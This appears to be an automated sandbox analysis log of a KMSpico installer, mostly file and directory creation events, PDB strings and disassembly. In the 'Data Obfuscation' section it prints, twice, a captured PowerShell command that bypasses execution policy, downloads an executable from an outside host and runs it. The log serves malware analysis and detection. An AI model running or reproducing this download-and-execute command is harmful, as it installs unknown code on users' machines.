              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDirectory created: C:\Program Files\KMSpico\cert\kmscertW7\Professional\is-NU4IA.tmpJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDirectory created: C:\Program Files\KMSpico\cert\kmscertW7\Professional\is-64GO6.tmpJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDirectory created: C:\Program Files\KMSpico\cert\kmscertW7\Professional\is-AGHGT.tmpJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDirectory created: C:\Program Files\KMSpico\cert\kmscertW7\Professional\is-6CGKO.tmpJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDirectory created: C:\Program Files\KMSpico\cert\kmscertW7\Professional\is-N7SH7.tmpJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDirectory created: C:\Program Files\KMSpico\cert\kmscertW7\Professional\is-KFHDR.tmpJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDirectory created: C:\Program Files\KMSpico\cert\kmscertW8\is-V6147.tmpJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDirectory created: C:\Program Files\KMSpico\cert\kmscertW8\Core\is-HMROB.tmpJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDirectory created: C:\Program Files\KMSpico\cert\kmscertW8\Core\is-JP5I4.tmpJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDirectory created: C:\Program Files\KMSpico\cert\kmscertW8\CoreN\is-78LT9.tmpJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDirectory created: C:\Program Files\KMSpico\cert\kmscertW8\CoreN\is-3SC8C.tmpJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDirectory created: C:\Program Files\KMSpico\cert\kmscertW8\CoreSingleLanguage\is-6OR02.tmpJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDirectory created: C:\Program Files\KMSpico\cert\kmscertW8\CoreSingleLanguage\is-RH7NN.tmpJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDirectory created: C:\Program Files\KMSpico\cert\kmscertW8\Enterprise\is-R6UK7.tmpJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDirectory created: C:\Program Files\KMSpico\cert\kmscertW8\Enterprise\is-ICD23.tmpJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDirectory created: C:\Program Files\KMSpico\cert\kmscertW8\EnterpriseN\is-HB93L.tmpJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDirectory created: C:\Program Files\KMSpico\cert\kmscertW8\EnterpriseN\is-NS0OO.tmpJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDirectory created: C:\Program Files\KMSpico\cert\kmscertW8\Professional\is-VKO4E.tmpJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDirectory created: C:\Program Files\KMSpico\cert\kmscertW8\Professional\is-HJQA5.tmpJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDirectory created: C:\Program Files\KMSpico\cert\kmscertW8\ProfessionalN\is-FJFUT.tmpJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDirectory created: C:\Program Files\KMSpico\cert\kmscertW8\ProfessionalN\is-17Q00.tmpJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDirectory created: C:\Program Files\KMSpico\cert\kmscertW8\ProfessionalWMC\is-ES93L.tmpJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDirectory created: C:\Program Files\KMSpico\cert\kmscertW8\ProfessionalWMC\is-TJDD9.tmpJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDirectory created: C:\Program Files\KMSpico\cert\kmscertW81\is-VQ6HI.tmpJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDirectory created: C:\Program Files\KMSpico\cert\kmscertW81\Core\is-1NUC6.tmpJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDirectory created: C:\Program Files\KMSpico\cert\kmscertW81\Core\is-H50BL.tmpJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDirectory created: C:\Program Files\KMSpico\cert\kmscertW81\CoreConnectedSingleLanguage\is-428C7.tmpJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDirectory created: C:\Program Files\KMSpico\cert\kmscertW81\CoreConnectedSingleLanguage\is-LBEVB.tmpJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDirectory created: C:\Program Files\KMSpico\cert\kmscertW81\EmbeddedIndustry\is-S4GG3.tmpJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDirectory created: C:\Program Files\KMSpico\cert\kmscertW81\EmbeddedIndustry\is-LI2Q5.tmpJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDirectory created: C:\Program Files\KMSpico\cert\kmscertW81\Enterprise\is-F5RRO.tmpJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDirectory created: C:\Program Files\KMSpico\cert\kmscertW81\Enterprise\is-KFKG0.tmpJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDirectory created: C:\Program Files\KMSpico\cert\kmscertW81\Professional\is-KN0IE.tmpJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDirectory created: C:\Program Files\KMSpico\cert\kmscertW81\Professional\is-KHPGU.tmpJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDirectory created: C:\Program Files\KMSpico\cert\kmscertW81\ProfessionalWMC\is-VVD4K.tmpJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDirectory created: C:\Program Files\KMSpico\cert\kmscertW81\ProfessionalWMC\is-SD9FA.tmpJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDirectory created: C:\Program Files\KMSpico\cert\kmscertW81\ServerDatacenter\is-1K2E0.tmpJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDirectory created: C:\Program Files\KMSpico\cert\kmscertW81\ServerDatacenter\is-NDVLN.tmpJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDirectory created: C:\Program Files\KMSpico\cert\kmscertW81\ServerStandard\is-1TS3I.tmpJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDirectory created: C:\Program Files\KMSpico\cert\kmscertW81\ServerStandard\is-F45D1.tmpJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDirectory created: C:\Program Files\KMSpico\driver\is-G23HH.tmpJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDirectory created: C:\Program Files\KMSpico\driver\is-8DGI9.tmpJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDirectory created: C:\Program Files\KMSpico\driver\is-9599B.tmpJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDirectory created: C:\Program Files\KMSpico\driver\is-EH2SR.tmpJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDirectory created: C:\Program Files\KMSpico\driver\is-JT0VN.tmpJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDirectory created: C:\Program Files\KMSpico\icons\is-MMLKB.tmpJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDirectory created: C:\Program Files\KMSpico\icons\is-KQRQM.tmpJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDirectory created: C:\Program Files\KMSpico\icons\is-EATMJ.tmpJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDirectory created: C:\Program Files\KMSpico\icons\is-V6TFD.tmpJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDirectory created: C:\Program Files\KMSpico\logs\is-22KDM.tmpJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDirectory created: C:\Program Files\KMSpico\logs\is-N67GB.tmpJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDirectory created: C:\Program Files\KMSpico\logs\is-28GLV.tmpJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDirectory created: C:\Program Files\KMSpico\scripts\is-75NB9.tmpJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDirectory created: C:\Program Files\KMSpico\scripts\is-9HSK1.tmpJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDirectory created: C:\Program Files\KMSpico\scripts\is-CNIN3.tmpJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDirectory created: C:\Program Files\KMSpico\scripts\is-NVJQN.tmpJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDirectory created: C:\Program Files\KMSpico\scripts\is-3TUI3.tmpJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDirectory created: C:\Program Files\KMSpico\scripts\is-0HM15.tmpJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDirectory created: C:\Program Files\KMSpico\scripts\is-K2SFM.tmpJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDirectory created: C:\Program Files\KMSpico\scripts\is-KCQ8K.tmpJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDirectory created: C:\Program Files\KMSpico\scripts\is-0QAMK.tmpJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDirectory created: C:\Program Files\KMSpico\scripts\is-M2EIP.tmpJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDirectory created: C:\Program Files\KMSpico\scripts\is-002ER.tmpJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDirectory created: C:\Program Files\KMSpico\scripts\is-JKG7E.tmpJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDirectory created: C:\Program Files\KMSpico\sounds\is-QGGVJ.tmpJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDirectory created: C:\Program Files\KMSpico\sounds\is-1F8AM.tmpJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDirectory created: C:\Program Files\KMSpico\sounds\is-506TB.tmpJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDirectory created: C:\Program Files\KMSpico\sounds\is-JCP2S.tmpJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDirectory created: C:\Program Files\KMSpico\sounds\is-GIQ7P.tmpJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDirectory created: C:\Program Files\KMSpico\sounds\is-G67EJ.tmpJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDirectory created: C:\Program Files\KMSpico\sounds\is-C7MNT.tmpJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDirectory created: C:\Program Files\KMSpico\sounds\is-N0DAM.tmpJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDirectory created: C:\Program Files\KMSpico\sounds\is-NUOTT.tmpJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDirectory created: C:\Program Files\KMSpico\sounds\is-O2089.tmpJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDirectory created: C:\Program Files\KMSpico\sounds\is-STFF9.tmpJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDirectory created: C:\Program Files\KMSpico\sounds\is-SQOIL.tmpJump to behavior
              Source: C:\Program Files\KMSpico\KMSELDI.exeDirectory created: C:\Program Files\KMSpico\logs\KMSELDI.log
              Source: C:\Program Files\KMSpico\AutoPico.exeDirectory created: C:\Program Files\KMSpico\logs\AutoPico.log
              Source: C:\Users\user\AppData\Local\Temp\is-2DSFU.tmp\KMSpico.tmpRegistry value created: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\MyApp_is1Jump to behavior
              Source: KMSpico.exeStatic file information: File size 31420758 > 1048576
              Source: KMSpico.exeStatic PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
              Source: Binary string: System.Windows.Forms.ni.pdb source: WER3E37.tmp.dmp.20.dr
              Source: Binary string: System.Drawing.ni.pdb source: WER3E37.tmp.dmp.20.dr
              Source: Binary string: indoC:\Windows\System.pdb source: AutoPico.exe, 00000010.00000002.2868893735.0000000000CF4000.00000004.00000010.00020000.00000000.sdmp
              Source: Binary string: System.Xml.pdb d source: WER3E37.tmp.dmp.20.dr
              Source: Binary string: mscorlib.ni.pdbRSDS7^3l source: WER3E37.tmp.dmp.20.dr
              Source: Binary string: AutoPico.PDBN source: AutoPico.exe, 00000010.00000002.2868893735.0000000000CF4000.00000004.00000010.00020000.00000000.sdmp
              Source: Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.pdbIO source: KMSELDI.exe, 0000000F.00000002.4016110699.000000001BD8D000.00000004.00000020.00020000.00000000.sdmp
              Source: Binary string: c:\Users\dblock\Source\CodePlex\resourcelib\trunk\Source\ResourceLib\obj\Release\Vestris.ResourceLib.pdb source: KMSpico.tmp, 00000006.00000002.4002454048.00000000067EF000.00000004.00001000.00020000.00000000.sdmp, is-7EQV1.tmp.6.dr
              Source: Binary string: System.Drawing.ni.pdbRSDS source: WER3E37.tmp.dmp.20.dr
              Source: Binary string: c:\divert-master\install\WDDK\amd64\WinDivert.pdb source: KMSpico.tmp, 00000006.00000002.4002454048.0000000006200000.00000004.00001000.00020000.00000000.sdmp, KMSpico.tmp, 00000006.00000002.4002454048.0000000006806000.00000004.00001000.00020000.00000000.sdmp, KMSELDI.exe, 0000000F.00000000.2694639189.00000000009E2000.00000002.00000001.01000000.0000000D.sdmp, AutoPico.exe, 00000010.00000000.2697776380.0000000000888000.00000002.00000001.01000000.0000000F.sdmp
              Source: Binary string: System.Xml.ni.pdbRSDS# source: WER3E37.tmp.dmp.20.dr
              Source: Binary string: System.Core.ni.pdb source: WER3E37.tmp.dmp.20.dr
              Source: Binary string: Microsoft.VisualBasic.pdb source: WER3E37.tmp.dmp.20.dr
              Source: Binary string: System.ServiceProcess.pdb source: WER3E37.tmp.dmp.20.dr
              Source: Binary string: System.Management.ni.pdbRSDSJ< source: WER3E37.tmp.dmp.20.dr
              Source: Binary string: System.Windows.Forms.ni.pdbRSDS source: WER3E37.tmp.dmp.20.dr
              Source: Binary string: mscorlib.ni.pdb source: WER3E37.tmp.dmp.20.dr
              Source: Binary string: System.ServiceProcess.ni.pdb source: WER3E37.tmp.dmp.20.dr
              Source: Binary string: System.Configuration.ni.pdbRSDScUN source: WER3E37.tmp.dmp.20.dr
              Source: Binary string: C:\Program Files\KMSpico\AutoPico.PDB source: AutoPico.exe, 00000010.00000002.2868893735.0000000000CF4000.00000004.00000010.00020000.00000000.sdmp
              Source: Binary string: Microsoft.VisualBasic.ni.pdb source: WER3E37.tmp.dmp.20.dr
              Source: Binary string: System.Windows.Forms.pdbH source: WER3E37.tmp.dmp.20.dr
              Source: Binary string: System.Xml.ni.pdb source: WER3E37.tmp.dmp.20.dr
              Source: Binary string: System.ni.pdbRSDS source: WER3E37.tmp.dmp.20.dr
              Source: Binary string: System.pdb8W source: KMSELDI.exe, 0000000F.00000002.4016110699.000000001BD76000.00000004.00000020.00020000.00000000.sdmp
              Source: Binary string: c:\divert-master\install\WDDK\i386\WinDivert.pdb source: KMSpico.tmp, 00000006.00000002.4002454048.0000000006200000.00000004.00001000.00020000.00000000.sdmp, KMSpico.tmp, 00000006.00000002.4002454048.0000000006806000.00000004.00001000.00020000.00000000.sdmp, KMSELDI.exe, 0000000F.00000000.2694639189.00000000009E2000.00000002.00000001.01000000.0000000D.sdmp, AutoPico.exe, 00000010.00000000.2697776380.0000000000888000.00000002.00000001.01000000.0000000F.sdmp
              Source: Binary string: System.Management.pdbSystem.ServiceProcess.dll source: WER3E37.tmp.dmp.20.dr
              Source: Binary string: System.Configuration.ni.pdb source: WER3E37.tmp.dmp.20.dr
              Source: Binary string: Microsoft.VisualBasic.ni.pdbRSDS& source: WER3E37.tmp.dmp.20.dr
              Source: Binary string: System.Configuration.pdb source: WER3E37.tmp.dmp.20.dr
              Source: Binary string: \mscorlib.pdb source: powershell.exe, 00000017.00000002.2958906152.00000000074DB000.00000004.00000020.00020000.00000000.sdmp
              Source: Binary string: System.Xml.pdb source: WER3E37.tmp.dmp.20.dr
              Source: Binary string: \??\C:\Windows\dll\System.pdbM source: AutoPico.exe, 00000010.00000002.2872302714.000000001A59C000.00000004.00000020.00020000.00000000.sdmp
              Source: Binary string: System.pdb source: WER3E37.tmp.dmp.20.dr
              Source: Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\System.pdbdllz3 source: AutoPico.exe, 00000010.00000002.2869063703.0000000000DE0000.00000004.00000020.00020000.00000000.sdmp
              Source: Binary string: System.ServiceProcess.ni.pdbRSDSwg source: WER3E37.tmp.dmp.20.dr
              Source: Binary string: System.Windows.Forms.pdb source: WER3E37.tmp.dmp.20.dr
              Source: Binary string: mscorlib.pdb source: WER3E37.tmp.dmp.20.dr
              Source: Binary string: C:\Windows\System.pdbpdbtem.pdbW source: AutoPico.exe, 00000010.00000002.2872302714.000000001A59C000.00000004.00000020.00020000.00000000.sdmp
              Source: Binary string: rms.pdb source: KMSELDI.exe, 0000000F.00000002.4016110699.000000001BD9C000.00000004.00000020.00020000.00000000.sdmp
              Source: Binary string: tem.Core.pdb source: powershell.exe, 00000017.00000002.2958906152.00000000074DB000.00000004.00000020.00020000.00000000.sdmp
              Source: Binary string: System.Drawing.pdb source: WER3E37.tmp.dmp.20.dr
              Source: Binary string: System.Management.pdb source: WER3E37.tmp.dmp.20.dr
              Source: Binary string: System.Management.ni.pdb source: WER3E37.tmp.dmp.20.dr
              Source: Binary string: pC:\Program Files\KMSpico\AutoPico.PDB source: AutoPico.exe, 00000010.00000002.2868893735.0000000000CF4000.00000004.00000010.00020000.00000000.sdmp
              Source: Binary string: System.Core.pdb source: WER3E37.tmp.dmp.20.dr
              Source: Binary string: c:\divert-master\install\WDDK\amd64\WinDivert.pdbH source: KMSpico.tmp, 00000006.00000002.4002454048.0000000006200000.00000004.00001000.00020000.00000000.sdmp, KMSpico.tmp, 00000006.00000002.4002454048.0000000006806000.00000004.00001000.00020000.00000000.sdmp, KMSELDI.exe, 0000000F.00000000.2694639189.00000000009E2000.00000002.00000001.01000000.0000000D.sdmp, AutoPico.exe, 00000010.00000000.2697776380.0000000000888000.00000002.00000001.01000000.0000000F.sdmp
              Source: Binary string: \??\C:\Windows\dll\System.pdbf source: AutoPico.exe, 00000010.00000002.2872302714.000000001A59C000.00000004.00000020.00020000.00000000.sdmp
              Source: Binary string: ion.pdb source: powershell.exe, 00000017.00000002.2962214958.0000000008570000.00000004.00000020.00020000.00000000.sdmp
              Source: Binary string: m.pdb source: KMSELDI.exe, 0000000F.00000002.4031311630.000000001E013000.00000004.00000020.00020000.00000000.sdmp
              Source: Binary string: ll\mscorlib.pdb source: powershell.exe, 00000017.00000002.2958906152.00000000074DB000.00000004.00000020.00020000.00000000.sdmp
              Source: Binary string: System.ni.pdb source: WER3E37.tmp.dmp.20.dr
              Source: Binary string: System.Core.ni.pdbRSDS source: WER3E37.tmp.dmp.20.dr
              Source: Binary string: Microsoft.VisualBasic.pdb source: WER3E37.tmp.dmp.20.dr

              Data Obfuscation

              barindex
              Suspicious powershell command line found
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -exec bypass $Response = Invoke-WebRequest -UserAgent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.0.0 Safari/537.36' -Uri 'https://myspecialdot.com/api/download' -UseBasicParsing $TempFile = [System.IO.Path]::GetTempFileName() $FilePath = "$($TempFile).exe" [System.IO.File]::WriteAllBytes($FilePath, $Response.Content) Start-Process -FilePath $FilePath
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -exec bypass $Response = Invoke-WebRequest -UserAgent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.0.0 Safari/537.36' -Uri 'https://myspecialdot.com/api/download' -UseBasicParsing $TempFile = [System.IO.Path]::GetTempFileName() $FilePath = "$($TempFile).exe" [System.IO.File]::WriteAllBytes($FilePath, $Response.Content) Start-Process -FilePath $FilePathJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpCode function: 6_2_004502C0 GetVersion,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,6_2_004502C0
              Source: KMSpico.exeStatic PE information: section name: .didata
              Source: KMSpico.tmp.0.drStatic PE information: section name: .didata
              Source: is-R1684.tmp.1.drStatic PE information: section name: .didata
              Source: is-19K1L.tmp.1.drStatic PE information: section name: .didata
              Source: C:\Users\user\AppData\Roaming\MyApp\data\KMSpico.exeCode function: 3_2_004065C8 push 00406605h; ret 3_2_004065FD
              Source: C:\Users\user\AppData\Roaming\MyApp\data\KMSpico.exeCode function: 3_2_004040B5 push eax; ret 3_2_004040F1
              Source: C:\Users\user\AppData\Roaming\MyApp\data\KMSpico.exeCode function: 3_2_00408104 push ecx; mov dword ptr [esp], eax3_2_00408109
              Source: C:\Users\user\AppData\Roaming\MyApp\data\KMSpico.exeCode function: 3_2_00404185 push 00404391h; ret 3_2_00404389
              Source: C:\Users\user\AppData\Roaming\MyApp\data\KMSpico.exeCode function: 3_2_00404206 push 00404391h; ret 3_2_00404389
              Source: C:\Users\user\AppData\Roaming\MyApp\data\KMSpico.exeCode function: 3_2_0040C218 push eax; ret 3_2_0040C219
              Source: C:\Users\user\AppData\Roaming\MyApp\data\KMSpico.exeCode function: 3_2_004042E8 push 00404391h; ret 3_2_00404389
              Source: C:\Users\user\AppData\Roaming\MyApp\data\KMSpico.exeCode function: 3_2_00404283 push 00404391h; ret 3_2_00404389
              Source: C:\Users\user\AppData\Roaming\MyApp\data\KMSpico.exeCode function: 3_2_00408F38 push 00408F6Bh; ret 3_2_00408F63
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeCode function: 4_2_022A4362 push 00000003h; ret 4_2_022A4371
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpCode function: 6_2_00484364 push 00484472h; ret 6_2_0048446A
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpCode function: 6_2_0040994C push 00409989h; ret 6_2_00409981
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpCode function: 6_2_004062B4 push ecx; mov dword ptr [esp], eax6_2_004062B5
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpCode function: 6_2_004104E0 push ecx; mov dword ptr [esp], edx6_2_004104E5
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpCode function: 6_2_00412928 push 0041298Bh; ret 6_2_00412983
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpCode function: 6_2_0049AD30 pushad ; retf 6_2_0049AD3F
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpCode function: 6_2_0040CE38 push ecx; mov dword ptr [esp], edx6_2_0040CE3A
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpCode function: 6_2_004951EC push ecx; mov dword ptr [esp], ecx6_2_004951F1
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpCode function: 6_2_004592D0 push 00459314h; ret 6_2_0045930C
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpCode function: 6_2_0040F398 push ecx; mov dword ptr [esp], edx6_2_0040F39A
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpCode function: 6_2_00443440 push ecx; mov dword ptr [esp], ecx6_2_00443444
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpCode function: 6_2_0040546D push eax; ret 6_2_004054A9
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpCode function: 6_2_0040553D push 00405749h; ret 6_2_00405741
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpCode function: 6_2_004055BE push 00405749h; ret 6_2_00405741
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpCode function: 6_2_0040563B push 00405749h; ret 6_2_00405741
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpCode function: 6_2_004056A0 push 00405749h; ret 6_2_00405741
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpCode function: 6_2_004517F8 push 0045182Bh; ret 6_2_00451823
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpCode function: 6_2_004519BC push ecx; mov dword ptr [esp], eax6_2_004519C1
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpCode function: 6_2_00485A54 push ecx; mov dword ptr [esp], ecx6_2_00485A59
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpCode function: 6_2_00419C28 push ecx; mov dword ptr [esp], ecx6_2_00419C2D
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpCode function: 6_2_0045FD1C push ecx; mov dword ptr [esp], ecx6_2_0045FD20
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpFile created: C:\Users\user\AppData\Local\Temp\is-VE3F8.tmp\_isetup\_shfoldr.dllJump to dropped file
              Source: C:\Users\user\Desktop\KMSpico.exeFile created: C:\Users\user\AppData\Local\Temp\is-2DSFU.tmp\KMSpico.tmpJump to dropped file
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpFile created: C:\Program Files\KMSpico\Vestris.ResourceLib.dll (copy)Jump to dropped file
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpFile created: C:\Users\user\AppData\Local\Temp\is-VE3F8.tmp\_isetup\_setup64.tmpJump to dropped file
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpFile created: C:\Program Files\KMSpico\is-1E470.tmpJump to dropped file
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpFile created: C:\Windows\System32\is-0JVNC.tmpJump to dropped file
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpFile created: C:\Program Files\KMSpico\is-7EQV1.tmpJump to dropped file
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpFile created: C:\Program Files\KMSpico\KMSELDI.exe (copy)Jump to dropped file
              Source: C:\Users\user\AppData\Local\Temp\is-2DSFU.tmp\KMSpico.tmpFile created: C:\Users\user\AppData\Roaming\MyApp\is-19K1L.tmpJump to dropped file
